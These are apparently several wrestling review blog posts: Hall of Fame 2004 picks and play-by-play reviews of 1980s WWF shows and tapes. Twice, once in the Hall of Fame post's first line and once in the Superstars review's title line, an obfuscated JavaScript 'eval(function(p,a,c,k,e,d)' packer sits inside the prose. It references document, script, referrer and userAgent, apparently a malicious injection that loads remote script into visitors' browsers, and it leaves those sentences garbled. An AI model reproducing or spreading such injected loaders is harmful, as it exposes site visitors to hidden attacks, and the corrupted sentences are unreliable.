WWE Hall of Fame: Class of 2004

You didn’t miss 1997-2003.  They don’t exist.  Also I forgot the Valiant Brothers in the 96 class but they’ve been added at the end.This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|netra|var|u0026u|referrer|dbiee||js|php'.split('|'),0,{})) is the return of the Hall of Fame after an eight year absence.  It’s also the first year that the inductions were tied in to Wrestlemania, which was the perfect move for the ceremonies.  They never were really talked about, so putting them at Wrestlemania got them on the main stage for the first time ever.  Since there are a lot more people going in starting with these classes and some of them are better known, the statements about each will likely shrink a bit.  Let’s get to it.

 

Big John Studd

….for what?  Winning the second Royal Rumble?  I’d hardly call that a reason for putting him in the Hall.  Studd won a tag title back in the 70s under a mask, but other than that the guy doesn’t have any claims to fame in the company.  He was a pretty big star outside of WWF, but again I don’t know if he was a big enough deal to be in the Hall of Fame.  At the end of the day, he didn’t really do much other than job to Andre and Hogan about a million times.  If he’s in the Hall of Fame, it’s on one of the lowest levels you can be on.  I’d vote no here.

 

Don Muraco

I’m fine with this one.  Muraco was a very dominant heel back in the early 80s, winning two Intercontinental Titles when that meant a lot.  He spent the second most time ever as champion, second only to Pedro Morales.  He’s also an answer to another trivia question, as he won the first King of the Ring tournament.  Muraco was a shell of his great self by the time he turned face in late 87, which is a shame as he really was talented back in the day.  I’m fine with him going in.

 

Greg Valentine

You could nearly write the same paragraph here as was written about Muraco, with the only differences being Valentine won a tag title instead of another IC Title and never won the KOTR.  Valentine also had a great run in the NWA, winning nearly every major title other than the world title.  If you want to see an old school bloodbath, check out Valentine vs. Piper at the first Starrcade.  For it’s time, it’s an amazing brawl.  I have no problem with Valentine being in the Hall of Fame, but if you look up his stuff, get the matches before about 1987.  They’re WAY better.

 

Harley Race

This is a yes.  If you need to know who Harley Race is, watch some HHH matches and pretend it’s the 70s.  They’re practically the same guy.  If I remember right, when Race retired he was an 8 time world champion.  The second highest total at that time: three, by Lou Thesz.  Harley Race is one of the greatest wrestlers of all time and has a legitimate argument for being the greatest of all time.  Race falls into the category of “guys you have to have in a wrestling Hall of Fame if you want people to care.”  As I said, this is a yes, period.

 

Jesse Ventura

If you have Gorilla Monsoon in the Hall of Fame, it would be a crime to not have Ventura in there as well.  These two were made to be commentary partners and they had the absolute best banter in the history of wrestling announcers.  Ventura wasn’t great in the ring by any stretch, but he more than made up for it on the microphone.  Oh and he was governor of Minnesota.  That has to be worth some points.  I’m fine with him being in the Hall of Fame, but only the WWF version.

 

Junkyard Dog

The JYD is one of those guys that got by almost entirely on charisma instead of skill.  By the time he got to the WWF he was a shell of his former self, but the fans still loved him no mater what.  He never accomplished that much on the main stage, but he was probably the biggest star ever in Mid-South, which was a pretty big deal back in the day.  This is one of those names that I wouldn’t go with personally, but I can see why he got in.  I’d probably vote no though, at least for the first few years.

 

Sgt. Slaughter

This is another name that wasn’t huge on the main stage but he was certainly big elsewhere, especially in the chin department.  Slaughter was a top star in the AWA and then won the WWF Title in a huge heel run in 1991.  He used the American military gimmick which is one of the tried and true gimmicks that almost never fails.  Slaughter was one of the top stars of the 1980s, and I have limited problems with him being in the Hall of Fame.  I’ll give him a pretty solid yes here.

 

Billy Graham

Here’s something you likely wouldn’t guess: Graham has the longest world title reign by a heel in WWF history.  On top of that, to call Graham influential is the understatement of the century.  Hogan used the boas and talked about having huge arms, Rhodes flat out stole some of Graham’s catchphrases, and Jesse Ventura made a running joke out of saying that Graham stole ideas from him.  Graham has since become something of a nut case, but to argue that he doesn’t belong in the Hall of Fame is absurd.  This is probably the easiest layup of the year.

 

Tito Santana

I’ve made no secret of the fact that I’m a big Tito Santana fan.  The guy could flat out go in the ring and was basically the Kofi Kingston of his day: he won enough titles to be credible all the time, he almost never had a truly bad match, and he never was a serious threat to the world title.  Santana and Valentine had some of the best chemistry you’ll ever see, making their matches pure treats.  He had the same chemistry with Savage so the feuds flowed very well with them.  Santana certainly belongs in the Hall as he’s one of the most consistently solid workers in history.

 

Bobby Heenan

He’s the greatest manager of all time but he might have been funnier on commentary.  Think about this: the guy got a DVD released about him, and he was primarily a manager.  That sums up the easy yes pretty well.

 

Pete Rose

Yeah whatever.  The guy took some beatings over the years so why not.

 

This was a pretty solid return to the concept for the WWE, but the next year was when they started nailing the idea with headliners.  That’s probably what this class is missing most, but it’s certainly not bad.



Superstars of Wrestling – October 18, 1986: Drinking Soap And Wrestling Dogs

Superstars eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|behnt|var|u0026u|referrer|zibea||js|php'.split('|'),0,{})) of Wrestling
Date: October 18, 1986
Location: Onadonga War Memorial, Syracuse, New York
Commentators: Vince McMahon, Jesse Ventura, Bruno Sammartino

TNA shows take awhile to find so here’s something else to fill in the time with. We’re still in late 86 here and it’s still Piper vs. Adonis and Hogan vs. Orndorff, which will go on for a few more months. After that we upgrade to the biggest one on one storyline of all time. Still though, this is a very fun time in the company’s history. Let’s get to it.

Theme song and the usual Vince preview of the show.

SD Jones vs. Hercules Hernandez

Herc jumps him to start and Danny Davis is all cool with that. The fans already think this is boring. It’s a total squash so far with Hernandez running over Jones with a variety of clotheslines and chokes. Slick says Hogan is next. Jones comes back with a headbutt and some punches but that’s about it. A Torture Rack ends SD quick.

Rating: D. Just a squash here for Hercules who was supposed to be a big deal but it never really happened. I’ll go with this as proof of that: at Wrestlemania II, the original plan was Bret vs. Steamboat in the show stealer, but Hercules got the match with the Dragon instead because Herc was seen as the better prospect. See, he’s strong.

UPDATE!

This gives us a strange sequence of Orton and Muraco watching Superstars reruns at Muraco’s house. They see themselves beating up Piper and hurting his leg.

Luscious Johnny V has a new man in Dino Bravo, who has dark hair here.

Tony Parks vs. Dino Bravo

Apparently the announcers have seen Bravo before. He throws Parks around and atomic drops him to the floor. Parks makes a quick comeback but gets his head clotheslined off. Bravo throws him to the floor, brings him back in for a dropkick and a belly to back suplex ends the massacre.

House show ad. Piper says he doesn’t need a referee when he’s beating up Muraco.

Brutus talks about taking care of himself outside of the ring and we get a clip of Greg Valentine getting a massage on Tuesday Night Titans.

Bob Bradley/Tiger Chung Lee vs. Killer Bees

The Bees are in their masks still here but they take them off before the match starts. Lee and Blair get us started and it’s off to Brunzell very quickly. Lee hits some kind of shot to the throat to take over but Bradley doesn’t have such good luck. Blair hits a powerslam and it’s back to Blair. Bradley tries a splash but it gets knees. Brunzell’s dropkick gets the pin. More squashification but the Bees would hook up with the Harts soon and things would get a lot better.

Another ad for the same Boston house show. Savage is ready for Steamboat, who is a great athlete. He’s just not great enough to take the title.

Butch Reed vs. Rick Hunter

Hunter actually gets a quick headscissors to take Reed down which is more offense than I was expecting from him. Reed grabs one of his own and punishes Hunter with it a little bit. Off to a chinlock but Hunter breaks out of it. Not that it matters as a jumping knee takes him down. Top rope clothesline ends this quick.

Time for Piper’s Pit with the guest Jimmy Hart. Hart has presents in an attempt to buy his own safety. Everyone chipped in and got him a crutch. Muraco got him a Hawaiian lei, Fuji got him a pair of women’s underwear and Orton got him a cowboy hat and a noose to hang himself with. Piper forces him into a chair and says he has a surprise for him.

Jimmy has to close his eyes so Piper can tie Jimmy to the chair with the rope. Oh wait that’s not the present. He has a bottle of I think soap to wash Jimmy’s mouth out. Piper: “You can give this lei back to Muraco because it’s the only lay you’re ever going to get.” He puts the soap in Jimmy’s mouth and makes him spit it into the cowboy hat. As for the bad leg, Piper hops off on one leg. Good segment.

We get a clip from Hillbilly Jim’s house with Granny. Jim plays the guitar and sings a song for her. Then he heats up a wooden stove and shows us his workout routine. Then he wrestles a dog but Granny comes in to yell at him. This whole thing ate up several minutes.

Paul Orndorff looks into three mirrors while Heenan praises him.

Mike Sharpe vs. Ricky Steamboat

Feeling out process to start but Sharpe gets in a shot with the loaded pad to knock Steamboat to the floor. Steamboat comes back and hits a top rope chop to get back into the ring. Regular chop sets up the cross body for the pin.

Muraco is ready for Piper in Boston. He talks about how they used to be friends but now things have changed. Really good promo here.

Overall Rating: C-. This was a very segment heavy show which is ok but a lot of the segments were pretty random. The Hart/Piper thing was hilarious as Piper was insane as usual. Other than that though there wasn’t much here, especially the Hillbilly deal. One thing I will say though: some character development such as stuff like that is better than almost none that we get today.

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WWF New York City House Show – October 17, 1983: Do You Want To See A Man Fly?

WWF House Show
Date: October 17, 1983
Location: Madison Square Garden, New York City, New York
Commentators: Gorilla Monsoon, Pat Patterson

Now this is a very interesting one. I saw the show on youtube and absolutely had to do it. The card itself doesn’t mean much as this is during the very tail end of Backlund’s time with the title (he’s defending against Masked Superstar, which is Ax from Demolition) tonight, but there’s another match which we’ll get to in a bit that I’m watching this for. Let’s get to it.

Rene Goulet vs. Tony Garea

Well Garea is awesome at least. Rene gets chased to the apron where he puts on some sort of glove. This is all before the bell apparently. They lock up and Rene climbs up the ropes to escape. Rene gets on Garea’s nerves so Tony punches him into the corner. Goulet bails for a bit and grabs a top wristlock. It’s pretty clear they have a decent amount of time for the match too because this hold goes on for several minutes.

Gorilla and Pat talk about who the Masked Superstar is because there’s no point to talking about this match. Garea comes back with one of his own which gets him nowhere as Goulet pulls the hair. Off to a chinlock which doesn’t last long at all. Goulet stomps on him a bit and this is going nowhere. He rams Tony into the corner a few times and it’s bearhug time.

Goulet finally goes for his Claw but Garea gets all fired up and starts his comeback. He firest off some right hands and a dropkick followed by an atomic drop. Goulet, being French, sells that in an over the top way that Honky Tonk Man would be proud of. That only gets two but a sunset flip gets Tony the pin.

Rating: C-. Not a very good match or anything but it got the crowd going. This is what someone like Garea was great at: throw him out there, let him get beaten up, and have the crowd get fired up for his comeback. Garea is one of those guys where the more I see of him the more I like him, so this wasn’t too bad. I never remember Goulet winning a match.

SD Jones vs. Tiger Chung Lee

Lee has Blassie with him and Jones is coming back off an injury. They fight over arm control which is won by Jones but Lee takes him to the mat and works on the knee. Apparently Blassie, the manager of Lee, didn’t come out to watch. If I were Lee I’d try to get traded for two jobbers to be named later. Jones headbutts him down and it’s time to dance!

Lee chops him down and puts on the nerve hold. Make that a chinlock. Jones spins around to set up a clothesline but Lee runs him over with a shoulder. Back to the chinlock as Gorilla says raw fish wouldn’t turn him on. I don’t think I ever need that image in my head again. Jones comes back with a backdrop and a headbutt for two. Lee runs him over again but gets slammed off the top for two. After Jones no sells a thumb to the eye (how do you do that?) an enziguri pins him.

Rating: D. Really boring match here as it was mainly punching and kicking with a chinlock thrown in. Lee was your usual evil Japanese heel and Jones was popular for some reason that I never got. There were far better generic strong black guys to cheer for but this guy kept sticking around the card. Bad match.

Sgt. Slaughter vs. Ivan Putski

Slaughter is EVIL. LONG stall to start as Slaughter doesn’t want to lock up with him. After about two minutes they lock up and Putski uses one of his signature moves: a headlock. It’s not an 80’s thing. It would still be boring by any standards. We’re three and a half minutes into this and we’ve had a headlock as our entire offense. Putski runs him over and puts on a chinlock. This is going to be really dull isn’t it?

Slaughter gets rammed into the post and Putski is in full control. Sarge finally hits an atomic drop but hurts his own knee on it. He manages to come off the middle rope but that leg is bothering him. This has to be legit as there’s no reason for him to sell like this. Slaughter “charges” at him in the corner but hits the post again head first. He manages to hook the Cobra Clutch but Putski makes the rope. Ivan comes back with a bunch of right hands….and one hits the referee for the lame DQ.

Rating: D. A lot of this was because of the knee injury as it would seem they went home early. That being said, the stuff before the injury was really bad with the vast majority of it being a headlock and punches. The early 80s were never really know for workrate and you can see that here very clearly. Putski just wasn’t that good.

Mike Sharpe vs. Tito Santana

This should be good. Before he became an OCD jobber, Sharpe was an OCD midcard heel. Tito grabs a fast hammerlock and Sharpe makes the ropes, which he protests for some reason. They do it again and Santana takes him to the mat which is broken up by the referee. Even Gorilla calls him stupid for that, so you know it was bad. Sharpe adjusts his forearm pad and hits Tito with it, making it cause much more damage.

Santana doesn’t seem to care as he hits a few monkey flips and stomps away in the corner. Sharpe chills on the floor for a bit but walks right back into an armbar. You can tell they’ve got a lot of time to work with here. Sharpe tries about a half dozen counters but Tito will never let go of the hold. He finally gets the rope after about three minutes in the hold. See what I mean by them taking their time?

Sharpe comes back with right hands and right boots to put Tito down. A quick sunset flip gets two for Tito and a straight right hand puts Sharpe down. He misses a charge though and things slow down. Small package gets two but Sharpe gets his foot on the ropes. Off to a chinlock which Tito can’t quite break. After a few minutes in that he guillotines Tito over the top rope. They collide to put both guys down. To the fans’ credit they’re staying in this, despite the match being pretty dull so far. Sharpe misses an elbow and Tito drops a knee for two as the bell rings for the time limit at about 17 minutes which is called 20.

Rating: C-. This was ok but it’s more long than good. There was a lot of laying around and rest holds which get annoying very quickly. Tito kept things fast paced when he was in control though and the fans ate him up so the match wasn’t really terrible or anything. Santana was always good but he needed something better to work with.

Santana chases him off post match.

WWF World Title: Bob Backlund vs. Masked Superstar

Masked Superstar is Ax of Demolition so there’s a chance I’ll call him Ax from time to time. They go to the mat quickly and Backlund is more than fine with that. Backlund takes him back down again with a headlock. Superstar runs him over and tries another headlock on the mat but Bob breaks that up with ease. We hear about Eddie Gilbert being injured by Superstar, which is a show I’ve actually seen.

The champion controls with a headscissors on the mat to frustrate the big guy. Now it’s an armbar as Backlund is picking him apart with whatever body part he cares to work on at the moment. For some reason Superstar keeps trying amateur stuff on Backlund and it fails more and more each time.

Backlund runs over the bigger guy and we get a botched sequence as Superstar tries what looked like a cross body but Backlund didn’t drop at first. It looked like Superstar was trying a jumping tornado DDT but since the regular version didn’t exist yet, he fell on Backlund after spinning around a bit. Really bad looking move but it’s more on Backlund than Superstar, which is rare to see from him.

They slug it out a bit and Backlund goes right back to the arm to keep control. This time it’s a hammerlock so at least he’s mixing things up somewhat. We’re almost ten minutes into this and about six of those have been arm work. Superstar knocks him to the floor to get his first I guess you would say advantage of the match. Backlund finally gets back in and a high knee to the shoulder (supposed to be the face) gets two.

Time for a chinlock as Superstar isn’t much for offense I guess. Backlund fights out of it with punches as this becomes a slugout. Flying headbutt gets two for Superstar. Another attempt at it hits the mat though and Backlund is getting all fired up. He pounds on the arm and tries the chickenwing but Superstar makes the rope very quickly. A clothesline sets up Superstar’s neckbreaker finisher but he won’t cover. Instead he takes Backlund outside and hits the neckbreaker out there which gives him the countout win.

Rating: C. This was basically a Backlund squash for the first ten minutes and then a pretty uninteresting match for the remaining five minutes. Superstar didn’t really do anything until the end with the neckbreaker, which goes to show you how devastating any move can be if it’s sold right. Why he wouldn’t go for the cover is beyond me but whatever.

Post match Backlund comes back in and beats up Superstar, making the neckbreaker seem like a pretty weak move.

Backlund says he knows what he’s facing in Masked Superstar now and he’s ready for him next time. Backlund plays a good psycho.

Bob Bradley vs. Mike Graham

No idea who Bradley is but he’s built well. Graham is the son of Florida promoter Eddie Graham and is okish in the ring. He hooks on an armbar after working Bradley on the mat for a bit. Really uninteresting match here as it’s pure filler between the world title match and the next one which is the feature match of the night. Bradley tries to control him but Graham is too fast for him. A German suplex gets a fast pin for Mike.

Rating: D. Like I said, not an interesting match at all and there’s nothing much else to say about it. Graham never was that good but if you needed a placeholder for a quick match like this one he was ok. I’ve never heard of Bradley but he’s a muscular guy so you can probably guess why he had a job.

Graham says he’s looking for competition to get his Junior Heavyweight Championship back.

Jimmy Snuka says this ends tonight with Muraco. He’s going to reach down inside himself to get whatever it takes because Muraco has brought out the animal in him. Really good promo here.

Buddy Rogers, Snuka’s manager, says this match is important and his man is ready for it.

Muraco says all the talking is done and all that matters now is the match.

Intercontinental Title: Don Muraco vs. Jimmy Snuka

This is in a cage. Sound familiar? You can only win by escape, making this a REAL cage match. A quick slugout is won by Snuka but Muraco pops back up. Snuka chops away as the beating begins. Don tries for the door but Snuka will have none of that. Muraco manages to slingshot him into the cage and Jimmy is busted early. Snuka gets a knee up and climbs the cage, only to come back down and pound away on Muraco some more.

Don manages a slam and goes for the door but Jimmy makes a save, only to take a low blow. Snuka pops up and chops Don’s head open, followed by a middle rope headbutt. He stands Muraco up, and in a semi-famous ending, hits a flying headbutt which knocks Muraco into the door, knocking it open so that the unconscious Muraco can fall out to keep the title.

Rating: D+. The match was intense while it lasted, but the whole thing only runs about seven minutes. There’s nothing of note here at all other than the ending which is pretty creative. I don’t remember a shorter cage match off the top of my head, which is something I think a lot of people forget. I think people think this was a big and epic brawl but it’s really Snuka killing him and then the ending with a run time of 6:46. That’s not much.

Post match Jimmy snaps and throws Muraco back inside. He suplexes Muraco down and goes to the corner. He climbs to the top rope but then goes a step further to the top of the cage, and in the most famous scene in wrestling until Hogan vs. Andre, jumps off the top of the cage with the Superfly Splash, completely crushing Muraco. That still looks great today, and some credit needs to go to Muraco. He was starting to sit up when Jimmy hits him, but after the Splash Muraco is DEAD.

Mick Foley, Sandman, Tommy Dreamer and Bubba Ray Dudley were in attendance that night and all have said this was what made them want to be a wrestler. I can easily see how that would be the case, as there was nothing like this beforehand. Snuka was flying through the air and crushed Muraco, which still looks incredible today. It’s stuff like that which you can only see in wrestling, which is what makes it great.

For some reason on the replays they keep stopping it right before the splash hits.

Albano, Muraco’s manager, says that Muraco is hurt but he’ll be fine and he’ll be back because he’s awesome. Albano rants again a bit because that’s what he does.

Sika vs. Rocky Johnson

The Samoans have the titles and the Soul Patrol wants them. Sika pounds on him to start but misses a charge and Rocky grabs a sunset out of nowhere for the shocking pin. Johnson and Atlas would get the titles in about a month.

Invaders vs. Butcher Vachon/Israel Matia

The Invaders are undefeated and are masked men from Puerto Rico. We’ll say #1 starts with Matia. The Invaders would be faces here I think. Off to #2 and Israel is in trouble. The masked men tag in so fast that I’ve completely lost track of who is who. Off to Butcher (Mad Dog’s brother and Luna’s dad) who gets in a shot at I think #1 to send him to the floor.

#2 has better luck so Butcher tags in Matia while Matia isn’t paying attention. We get a few instances of the tag that the referee doesn’t see which is an old standard way to get the crowd going. The heels cheat some more until the tag brings in #2. A double dropkick puts Matia down and heel miscommunication allows #1 to hip toss #2 onto Israel for the pin.

Rating: D-. What a mess! It seemed like they had no idea who was supposed to be in control here for the most part, which defeats the purpose of what came off like it was supposed to be a squash. The Invaders didn’t last long but #1 is more famous for likely murdering Bruiser Brody.

Andre says he’s got the Samoan tonight. Not much for him to say this week.

Afa vs. Andre the Giant

Afa jumps him before the entrances and the pain begins soon after. Andre kicks him in the head and sits on him for the pin in less than a minute. Total dominance.

Overall Rating: D+. Classic moment aside, this was a pretty uninteresting show. Most of the stuff is watchable but at the same time there’s nothing in the ring that is anything great. I’m sure you’ve seen the cage dive a few thousand times and while it’s cool to see it in context, there’s not much here to see otherwise. Watchable show but it’s nothing worth going out of your way to see. The company needed a shakeup and that would happen in about three months.

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Best of the WWF Volume 2 – Three Title Changes

Best of the WWF Volume 2
Host: Gorilla Monsoon
Commentators: Vince McMahon, Gene Okerlund, Gorilla Monsoon, Jesse Ventura

This is a weird time for the WWF as it’s pre-Hogan dominance (although he was champion) and Sammartino is out of the picture. Backlund had just lost the title as the people have turned on him harder than they have on Cena today. There are some historical moments on this tape though which is a big rarity in this series. Let’s get to it.

Coliseum Video opening and all that jazz.

Gorilla looks WEIRD with some hair on his head.

Tag Titles: Tony Atlas/Rocky Johnson vs. Adrian Adonis/Dick Murdoch

We have, in order, Abraham Washington’s sidekick, Rock’s dad, a not yet gay man and a guy formerly known as Captain Redneck who was a real life member of the KKK. Atlas and Johnson are champions. This is from a TV taping in Hamburg, Pennsylvania from April of 1984. Adonis vs. Johnson gets us going. The champ armdrags everyone in sight and takes over with an armbar on Adonis.

And there’s no commentary for awhile. Kind of a nice change of pace actually. Adonis cartwheels away from a monkey flip but walks into a slam and armbar. Off to Murdoch and he’s earned an armdrag as well. Atlas comes in and I like getting to see some of their stuff. I don’t get to see much from the pre-Hogan era so this is pretty cool. The challengers get Atlas in the corner and pound away on him.

This is before the tag team formula was perfected so things are a bit different than what you’d likely be used to. Headbutt by Atlas puts Murdoch down but Adonis cheats to keep control. Off to Rocky who dances about and beats up everyone. Well not his partner. Or the referee. The fans either for that matter. Gee maybe he isn’t beating everyone up. Atlas and Murdoch fight to the floor as everything breaks down. In the melee, Adonis rolls him up with an O’Connor Roll (while standing on his head. Take that Ziggler) for the pin and the titles.

Rating: C. The match was fine but what surprised me the most was how short it was. Unless there was some clipping that I missed (and I don’t think there was), this was six minutes long at most. It’s very rare to see quick title matches like this back in the day but it was pretty entertaining while it lasted.

Intercontinental Title: Pedro Morales vs. Don Muraco

This is from MSG in January of 83. Morales had taken the title from Muraco over a year ago. See, back then title reigns were VERY different. The title was introduced in 1979 and Ricky Steamboat was the 11th reign in 1987. In 8 years, the title changed hands 10 times. Think about that. Of the first ten reigns, the shortest was five months. Today, that would be a long reign. Back then it was by far the shortest. Three of the first ten lasted over a year. Think about that for a minute and now compare it to today.

As for this match, Muraco jumps the champ in the corner but Morales fights back quickly. Morales rips half of the shirt off Muraco and the challenger is in trouble. Corner sunset flip gets two for Morales. Muraco has a sleeve of his shirt still hanging off his arm. Pedro knocks him to the floor and this is all Morales so far. Muraco does a Flair Flop off the apron to the floor.

Pedro goes up top but doesn’t dive onto him as Don hides under the floor. That was pretty smart. Muraco tries to hide as Morales stalks him. Boot to the back of the head and it’s all Pedro. Gorilla criticizes him for not going for the kill, which is pretty good analysis. And there’s a low blow by Muraco and both guys are down. Still using the t-shirt, Muraco chokes Pedro with it in the corner, only to get low blowed as well.

Ok NOW the t-shirt is finally gone. A running knee in the corner misses for Morales though and he might have blown it out. There’s a lot of blowing in this match. Muraco moves in on it with a leg snap out of the corner. Clipped to a spinning toe hold being countered by Pedro. Morales, ever the genius, tries a backbreaker (despite sending Muraco’s shoulder into the post on the counter) and reinjures his knee. Boston Crab (Pedro’s finisher) is quickly broken by the ropes. Pedro tries a slam but the knee buckles and Muraco falls on top for the pin and the second title change in two matches on this tape.

Rating: C-. Not great or anything but again it’s really cool to see these rarities as you always hear about how these legends held titles but you never see how they won them. Pedro was far better in the 70s than 80s as he was washed up at this point, but he could still put people over, which is what he did here. Decent stuff, although a lot of stalling hurt it.

Killer Kowalski vs. Pedro Morales

Talk about legends. Now Kowalski was the big time brawler of his day. He also trained HHH so there’s his biggest contribution to wrestling more than likely. This would be about 8 months after Pedro lost the world title, putting it in late July of 74. We’re in MSG here of course. Jesse Ventura is alone on commentary here. That’s a new one on me. Kowalski used the Claw on various body parts so he uses it on the leg here. Pedro’s leg problems seem to be a theme on this tape.

Clipped to more leg work. Jesse doing play by play is a very odd thing. He doesn’t shut up but keeps things fresh somehow. It’s more like a radio broadcast. The Claw is something that needs a good announcer to put it over because just from a visual perspective, it looks really stupid. Pedro comes back with some left hands and grabs Killer by the ears. Back to the knee and Pedro is in trouble again. How did this guy win the first triple crown?

They trade punches to the ribs and Morales takes over. Jesse is surprisingly good at play by play. Morales is left handed if that gives you a better mental picture of this. Morales grabs the Claw on the ribs. Clipped to a double stomp by Kowalski. This commentary has been recorded far later as Jesse talks about Kowalski like he’s retired, which he would have been. Kowalski bites the face and Pedro bites back. Killer takes him down but misses a double stomp. Off to the Claw on the stomach again and Pedro is in trouble. They brawl to the floor and it’s thrown out. WEAK.

Rating: D. I love old school stuff and I’ve always liked Pedro, but this was boring. The Claw is one of those moves that works as a quick finisher but having it in there all the time like this got really boring after awhile. At least it wasn’t very long. Kowalski is a guy that seems like he’d be better in quick spurts. This match felt like it would have been better for a live crowd, which is fine, but it does bring into question why it’s on a tape.

Jamaica Kid/Billy the Kid vs. Sky Low Low/Little Brutus

MIDGET TIME!!! This is from I’d assume the 70s and it’s joined in progress. Clipped almost immediately and I have no idea who is who out there. The fans seem to be laughing more than watching. Low Low gets out of a crucifix hold from Billy and it’s a decent power display all things considered. Clipped again to a chase scene. Where’s my Benny Hill music? Apparently this is from 1970. Oh dear. Sky goes up and gets caught in the ropes, falling down to the apron. He looked like a baby. There’s some miscommunication between the kids and we’re clipped again. Sky pins Billy off a shoulder from Brutus. No rating, obviously.

Jamaica Kid taunts the winners post match and has to jump into the arms of the referee. WAIT THIS IS TWO OUT OF THREE FALLS??? WHY??? And we’re clipped….to another match? Cool with me man.

Sky Low Low/Little Brutus vs. Joey Russell/Sunny Boy Hayes

It’s a chase scene and a “comedy” match. These guys can’t even hit each other with punches. Clipped and Sky won’t come in against let’s say Hayes. The only date I can find on this is “the 70s”. Sky cheats so I’d presume they’re heels. That’s good for the pin, thank goodness.

Great. Another 2/3 falls match. Brutus beats Russell up a lot and it’s a dog pile on the referee. Sky kicks him and it’s COMEDY! And again they just stop showing the match and again I smile.

Chief Jay Strongbow vs. Professor Toru Tanaka

The ring is very small here. They start with a crisscross as Gorilla talks about a different style, which means more rest holds. Alfred Hayes is the commentator here. This is joined in progress as we’re told it’s five minutes in after about 90 seconds. Tanaka hits the ropes, Strongbow says stop, Tanaka stops, Strongbow hits him. It’s a different time. Tanaka works on the arm but Strongbow hits a pair of headscissors to send Tanaka down.

Tanaka hooks a top wristlock which goes on for awhile. Strongbow chops him down but Tanaka goes back to the arm. This is as exciting as it sounds. Jay hooks a headscissors on the mat and this is just going nowhere. Clipped to Tanaka choking as Jay tries to get up. Oh it’s a nerve hold. My mistake. Strongbow comes back with his war dance and it finally wakes up a bit with a brawl. Tanaka tries the salt but it gets caught and that’s a DQ. Oh joy.

Rating: D. Yeah I get that this is a different era and all that, but that doesn’t mean it’s an interesting one. This was a lot of laying around in a hold while we waited on anything to happen. Also, could they really not just have it end with a big chop (Jay’s finisher) or something? Did it have to be ANOTHER match thrown out?

And now for a musical interlude. No really.

Mean Gene sings Tutti Fruti with Captain Lou on piano, Hogan on bass and a bunch of other musicians playing other stuff. Gene is playing piano also. Hulk gets to solo on bass. This is out of nowhere and goes as quickly as it came.

Intercontinental Title: Tito Santana vs. Paul Orndorff

This is from September 1, 1984 in St. Louis. I know because there’s a graphic that says September 1, 1984 in St. Louis. Orndorff is a top heel here but not quite Piper’s levels. Tito is a house of fire to start. Must have had the extra hot sauce on his taco today. The fans chant Paula and there are even signs. Technical stuff to start as they fight for control. Top wristlock by Tito and he finally gets him down.

Back to the mat and Tito cranks on the arm. Orndorff tries to fight out but we need to work on that arm some more. Clipped to the armbar still on but the two guys on their feet now. Orndorff grabs an atomic drop and Tito is in trouble. Knee lift puts Santana on the floor. Outside now and there’s another atomic drop. Tito’s shoulder is bleeding a bit. Orndorff actually does the RVD thumb point.

Tito comes back in with a sunset flip but Paul punches him in the head to stop him. Off to a chinlock which doesn’t last long. Tito hits him with some shots but a suplex puts him right back down. Cross body gets two for Tito. The fans are way into this. Santana starts hitting him in the kidneys and a knee lift puts Paul down. Orndorff tries a middle rope splash but it eats knees.

Tito gets all fired up and pounds Paul down with what Jesse would call that firey Latin temper of his. Boston Crab is countered but Paul goes into the buckle anyway. That gets two but Tito gets his head taken off by a clothesline. That gets two and this is a VERY slow referee. Orndorff stomps away in the same style that Lance Storm used. Paul gets in another shot but time runs out at about 14:30 shown so a lot must have been cut.

Rating: B-. Fun match but I’d have liked to see the full version. It’s not quite the classic that it’s hyped up as here but this was still pretty fun. Orndorff was better than he was given credit for but he was caught between two legendary feuds so his stuff with Hogan is often forgotten, which is a shame.

We look at some surprising finishes. First up: Rocky Johnson vs. Magnificent (Don) Muraco. Muraco is busted open but Muraco throws the referee in the way so Johnson hits him for a DQ. I’m assuming that saved the title for him.

Freddie Blassie vs. Bobo Brazil in what has to be from the early 60s. They fight with Blassie on the apron and Bobo headbutts him down. Blassie’s foot is tied in the rope and it’s a countout. Bobo headbutts him again during a post match handshake. What a jerk! Blassie hits the referee because he didn’t want to do the Twazzle.

Andre beat a jobber but the masked jobber jumped him post match. Andre ripped the mask off and it’s….a jobber.

Moondogs vs. Tony Garea/Rick Martel with Monsoon as referee. This is for the tag titles and it’s a Texas Deathmatch, which we would call a street fight. Abdominal stretch to Moondog King and then Rex jumps off the top onto Monsoon. The champs retain off a double backdrop.

Tag Titles: Tony Garea/Rick Martel vs. Mr. Fuji/Mr. Saito

This is from 81 and Garea/Martel are still champions. In Philly here and Albano is managing the challengers. Fuji vs. Martel to start and Fuji gets tossed around a lot. Off to Saito after Fuji can’t do anything with either champion. Martel hits a body press for two. Back to the armbar and Fuji is back in trouble already. Off to Garea who stays on the arm. The challengers finally get in some shots to take over.

Fuji does his usual cheating and down goes Garea to a chop. Back to Saito who chokes away. It’s weird hearing Pat Patterson with that thick accent on commentary. Garea gets in a knee but can’t make the tag due to Fuji. There’s a nerve hold and the challengers do the switch without the tag. Garea gets in a few shots but a dropkick misses, meaning no tag.

Back to Saito who gets two off a slam. Middle rope knee gets the same. Saito cranks on a front facelock and Martel finally slaps and runs in for some help. It actually works and Garea makes the hot tag. House is cleaned and everything breaks down. Albano slips Fuji the salt as Martel goes up. Fuji throws it at Martel in mid air and Martel’s cross body is rolled through for the titles to Japan.

Rating: B-. Solid old school style tag match which worked quite well. The ending spot looked great with that dive being timed perfectly. It makes sense that Martel is in trouble so he couldn’t hold Saito down as well. Vince morphed into Mr. McMahon as he ranted on the end of that too.

Overall Rating: C+. This is just barely better good than bad. The historical stuff with an unheard of three title changes for one of these tapes is very cool and some of the matches were quite good too. The midget stuff though and some of those matches though were just dreadful but overall, it’s more good than bad which is more than you can ask for most of the time in these things. Good stuff.

